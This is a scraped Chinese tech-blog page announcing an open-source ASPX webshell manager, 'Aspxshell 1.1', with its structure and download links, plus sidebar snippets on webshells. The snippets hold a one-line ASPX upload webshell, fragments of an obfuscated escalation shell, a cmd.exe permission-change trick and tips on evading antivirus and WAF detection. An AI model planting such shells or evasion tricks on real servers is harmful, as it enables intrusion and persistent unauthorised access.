Aspxshell 1.1 开源发布

shell 免杀aspx_记一次aspx网站渗透 通过前期信息搜集获取到目标站的80xx端口发现一处源码泄露查看配置文件登录manage.aspx上传shell发现安装了TeamViewer看下进程如果运行tv的话,可直接读取其远程的账号密码https://github.com/uknowsec/SharpDecryptPwdSharpDecryptPwd对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,T... 阅读详情
 

作者:cnqing

一、目录结构
Aspxshell
├─插件目录
├─插件目录
├─…….
├─…….
└─Loader 程序加载器
├─bin
│ ├─Debug 程序发布目录
│ │ └─remoter 插件远程程序集目录
。。。。。

二、客户端向服务端POST数据结构

程序集         nbyte   长度定义在cookie[“psw”]
参数长度    4 byte    定义参数长度
参数        nbyte    自定义的参数内容
2进制附件    nbyte    2进制形式的附件内容

三、插件构成
每个插件又一个本地模块和一个远程模块构成。
本地模块(dll)输出到根目录,远程模块输出到remoter目录。

四、下载

aspxshell http://aspxshellsvn.googlecode.com/files/aspxshell1.1_all.rar
插件示例 http://aspxshellsvn.googlecode.com/files/demo.rar
exe http://aspxshellsvn.googlecode.com/files/Publish.rar
SVN
http://code.google.com/p/aspxshellsvn
再见 Xshell 这款开源的终端工具逼格更高 来源: https://mp.weixin.qq.com/mp/appmsgalbum__biz=MzU1Nzg4NjgyMw==&action=getalbum&album_id=1918334279751663626&scene=173&from_msgid=2247495937&from_itemidx=1&count=3&nolastread=1#wechat_redirect 作者:梦想de星空 作为一名后端开发,我们经常需要和Linu. 阅读详情

相关推荐

干掉 Xshell?这款开源的终端工具逼格更高

作为一名 Java 后端开发,日常工作中免不了要和 Linux 服务器打交道,因为生产环境基本上都是部署在 Linux 环境下的。以前呢,我会选择 Xshell 来作为终端进行远程操作。 随着付费版本的出现,尤其是 Xshell 把 FTP 分离出去后,上传下载文件的话还需要单独装一下 Xftp,这显然没有之前集成在一起方便????。 还有一点让我费解的是,Xshell 竟然一直没有推出 macOS 版。 不过,滴水之恩当涌泉相报,我还是要说,Xshell 真的是非常的 Nice,从实习到现在,Window

沉默王二 4638

ASPX 1句话SHELL

ISTO的版本     ASPX One Code     " enctype="multipart/form-data"> filename:          c# if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])  ); }

收集盒 Book box 679

ASP.NET反编译工具合集与使用指南

ASP.NET 是微软推出的一套用于构建动态网站和Web应用程序的开发框架,它基于 .NET 平台,支持多种编程语言(如 C#、VB.NET),并提供了丰富的类库与服务支持。ASP.NET 框架不仅简化了Web开发流程,还通过良好的分层架构设计提升了系统的可维护性和扩展性。本章将从整体架构入手,逐步解析 ASP.NET 的核心组件,包括 HTTP 运行时、页面生命周期、控件模型及状态管理机制等,帮助读者理解其底层运行逻辑与开发模式。

weixin_42602241的博客 1054

shell 免杀aspx_发个免杀修改的aspx提权马qingshell.aspx

protected void Page_load(object sender,EventArgs e){string ok = Request.QueryString["sb"];string shell= Request.QueryString["shell"];//www.moonsec.com moonResponse.Write(shell + ok );Response.Write(""...

weixin_35795675的博客 757

互动式留言板源码项目:ASPX技术学习

本文还有配套的精品资源,点击获取 简介:【学习型留言板源码】是一个基于ASPX技术构建的互动平台,提供用户注册、留言发布等核心功能。通过分析源码文件,学习者可以深入理解ASPX编程和 Web开发。项目包含关键模块如用户注册、主页展示、留言管理、验证码生成和配置管理。掌握这些内容对初学者而言,是理解 开发的一个宝贵的实践机会。 1. AS...

weixin_29997223的博客 2020

ASPX一句话shell客户端+ASPXshell MS08-067插件

ASPX一句话shell客户端+ASPXshell MS08-067插件

shell 免杀aspx_绕过WebShell检测的总结之文件免杀

WAF会维护一个规则库记录webshell常用的函数、方法、结构,当匹配上对应特征时便发出警告、直接封禁或隔离。但是安全厂商们为了提升用户体验,一般会以可用性为首要目标,其次才是安全性,这是一个硬伤也是绕过的基础由于正常业务功能的需要,WAF通常并不会全盘枪毙语言中可以执行代码的结构或函数(比如eval),而是判断敏感函数是否处于某种木马后门常用且业务功能不常用的结构中,绕过即是找出既能达到目的又...

weixin_31124869的博客 824

精品整理 asp,aspx后门(webshell)10个

精品收集整理各种websheel,没有后门,没有重复,是站长管理网站,清除木马的好助手

shell 免杀aspx_发个免杀修改的aspx提权马

htmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">protectedvoidPage_load(objectsender,EventArgse){stringok=Request.QueryString["s...

weixin_35559202的博客 511

PLc S7-200 smart如何使用Modbus 485通讯传输接收数据

西门子在 STEP 7-Micro/WIN SMART 中正式推出 Modbus RTU 主站协议库(西门子标准库指令)。使用 Modbus RTU 主站指令库,可以读写 Modbus RTU 从站的数字量、模拟量 I/O 以及保持寄存器,从而实现PLC通过modbus方式控制其他器件。提示:以下是本篇文章正文内容,下面案例可供参考。

xjbsw0的博客 6万+

Java + Selenium + TestNg + Allure Web UI 自动化

我们知道,在Python中针对Web UI自动化有Python + Selenium + Pytest/Unittest +Allure的技术栈。那么对于Java而言,也有其独特的Web UI 自动化技术栈。相同的,我们同样的运用Selenium框架,测试报告同样运用Allure。不同的是,我们运用的语言由Python转化为了Java,测试用例管理框架从Pytest转化为了TestNG。

qq_45594960的博客 1913

shell 免杀aspx_Webshell免杀

一句话木马在渗透测试中最常用的就是一句话后门(小马)和中国菜刀的配合。如果出现某种WAF防护,就寻找一个免杀的大马挂马。最常见的php一句话木马这个一句话木马由两部分组成,eval用来执行接收的代码。$_POST['x']来接收数值。本着这个原则,尝试改写一句话木马绕过WAF。搜集了几个常用的php函数执行代码的eval、assert、preg_replace接收数据的$_POST、$_GET、$...

weixin_39656513的博客 774

CocosCreator3.8.2实战:5分钟搞定多分辨率适配与横竖屏自动翻转(附完整Demo)

本文针对CocosCreator3.8.2开发者,提供了一套5分钟快速集成、开箱即用的多分辨率屏幕适配与横竖屏自动翻转解决方案。通过封装好的ScreenAdapter组件,开发者无需处理复杂计算,即可实现等比缩放或拉伸全屏两种主流适配模式,并自动响应设备旋转,有效解决移动端UI在不同屏幕比例和方向下的显示问题。文末附完整Demo。

z4a5b6的博客 723

aspxshell下突破无可写可执行目录执行cmd

try { var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone"; var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); var dirsecurity:System.Secur...

weixin_34112208的博客 199

同花顺【红绿趋势】幅图指标 源码分析

a10:IF(差值<=0 ,0 ,差值*0.2 ,4 ,0),STICK,linethick5,colorred;a7:IF(差值<=0 ,0 ,差值*0.8 ,4 ,0),STICK,linethick5,colorred;a8:IF(差值<=0 ,0 ,差值*0.6 ,4 ,0),STICK,linethick5,colorred;a6:IF(差值<=0 ,0 ,差值*1 ,4 , 0),STICK,linethick5,colorred;DRAWICON(先锋<0,-25,1);

zhibiaogong的博客 4070

若依集成mybatisplus、兼容旧分页【亲测有效】

service类继承ServiceImpl类 实现 你的Service接口。hutool工具包和lombok工具包如果不需要的话可以自行删除并修改后面的类里面的代码。自带的pagehelper用的1.4.6里面的jsqlparser用的4.5.0。mybatis-plus用的3.4.2里面的jsqlparser用的4.0.0。jsqlparser包,不剔除是这样的,有个冲突,我用的前端写的请求,返回的格式和原来的一样,已兼容。你的Entity类上面需要增加表的名字。

lh155136的博客 3566

最全的ASP.NET开源CMS汇总

国内CMS:1.SiteServer CMSSiteServer CMS 网站内容管理系统(著作权登记号2008SR15710)是定位于中高端市场的CMS内容管理系统,能够以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异、规模庞大的网站平台。   SiteServer CMS 是基于微软.NET 平台开发的网站内容管理系统,它集成了内容发布管理、多站点管理、

ZZC's Blog 4979

基于STM32F407标准库与SimpleFOC实现无刷电机2804位置闭环控制的实战解析

本文详细解析了基于STM32F407标准库与SimpleFOC算法实现2804无刷电机位置闭环控制的实战过程。通过硬件选型、速度闭环调试到位置环PID参数整定,提供了完整的工程实现方案和抗饱和策略,帮助开发者掌握高精度电机控制技术。

oauth7security的博客 918

详细的Web环境搭建----IIS+asp/aspx+Access/SQLServer环境

前言 1.环境 Windows 2003 中间件IIS6 mssql数据库

Jietewang的博客 4874

工业级4~20mA转0~3V信号调理电路原理图设计,已量产(电流传感器)

在工业现场,4~20mA 电流信号是模拟量传输的 “老熟人”—— 抗干扰强、能跑长距离,但嵌入式 MCU 的 ADC 一般只认电压信号。最近做项目时,我设计了一款能覆盖 0~25mA(含超量程冗余)、线性输出 0~3V 的调理电路,经过现场调试挺稳定,分享下细节。

不脱发的程序猿 528

Unity 面试篇|(三)设计模式篇 【全面总结 | 持续更新 | 建议收藏】

设计模式是一套被反复使用、多数人知晓、经过分类编目、代码设计经验的总结。设计模式与方法或库的使用方式不同, 你很难直接在自己的程序中套用某个设计模式。模式并不是一段特定的代码, 而是解决特定问题的一般性概念。你可以根据模式来实现符合自己程序实际所需的解决方案。常常会混淆模式和算法, 因为两者在概念上都是已知特定问题的典型解决方案。但算法总是明确定义达成特定目标所需的一系列步骤, 而模式则是对解决方案的更高层次描述。同一模式在两个不同程序中的实现代码可能会不一样。单例模式。

游戏开发小Y的博客 12万+

(收藏)C#开源资源大汇总

一、AOP框架 Encase 是C#编写开发的为.NET平台提供的AOP框架。Encase 独特的提供了把方面(aspects)部署到运行时代码,而其它AOP框架依赖配置文件的方式。这种部署方面(aspects)的方法帮助缺少经验的开发 人员提高开发效率。 NKalore是一款编程语言,它扩展了C#允许在.net平台使用AOP。NKalore的语法简单、直观,它的编译器是基于Mono C#编...

winform采集 476

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

shell 免杀aspx_避开eval关键字,打造免杀一句话木马

这年头留个php一句话木马,随便就被杀了,但具我所知,杀软和运维人员杀的都是eval函数的关键字,只要避开关键字就能延长木马的寿命,但要怎么避开呢?首先我想到的是将eval从字符串类型赋给一个变量。如:$func = 'phpinfo';$func();这样的确是可以运行phpinfo()的,但是eval却不能通过这样来执行,我马上又想到了assert函数,他有着类似eval的功能,但效果并不理想...

weixin_30304773的博客 2156

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

开源一个网页版的 Xshell,支持 FTP 和 SFTP 两种方式!

介绍该平台类似于网页版的Xshell,基于cookie和json的方式存储登录信息无数据库更方便兼容每个用户的使用,支持SFTP和FTP两种登录方式,打破原有黑端显示命令行和文件名的方式,以div的方式展示文件图,支持命令输入,报错输出。目前代码已开源,代码规范支持开闭原则,你可以添加新的连接方式如 SSH LOCAL 等 目前代码中有ssh代码连接示例,你可以在它原有的基础上做改善1.首页2.点...

Java知音 1066

再见 Xshell~ 这款开源的终端工具逼格更高

作为一名后端开发,我们经常需要和Linux系统打交道,免不了要使用Xshell这类终端工具来进行远程管理。最近发现一款更炫酷的终端工具Tabby,主题丰富,功能强大,推荐给大家! 聊聊Xshell 之前经常使用Xshell来操作Linux虚拟机,基本上是够用了。但是Xshell免费使用只供非商业用途,而且如果你想用FTP来进行文件传输的话,还需单独下载Xftp。 无意中发现了另一款开源的终端工具Tabby,它直接集成了SFTP功能,而且界面也很炫酷,下面是它的使用界面。 Tabby简介 .

weixin_64314555的博客 1万+

探索远程管理新境界:Xshell & Xftp 开源宝藏项目的魅力

探索远程管理新境界:Xshell & Xftp 开源宝藏项目的魅力 【下载地址】XshellXftp免费安装包 - **Xshell** 是一个高级的SSH/Telnet/Serial等网络通信客户端,它支持多种安全协议,包括SSH2,提供了丰富且定制化的界面以及脚本支持,极大提升了系统管理员的工作效率。 - ...

gitblog_09805的博客 485
上一篇: Sql2005注入辅助脚本[修改版]
下一篇: 基于处理器调试机制的Rootkit隐形技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值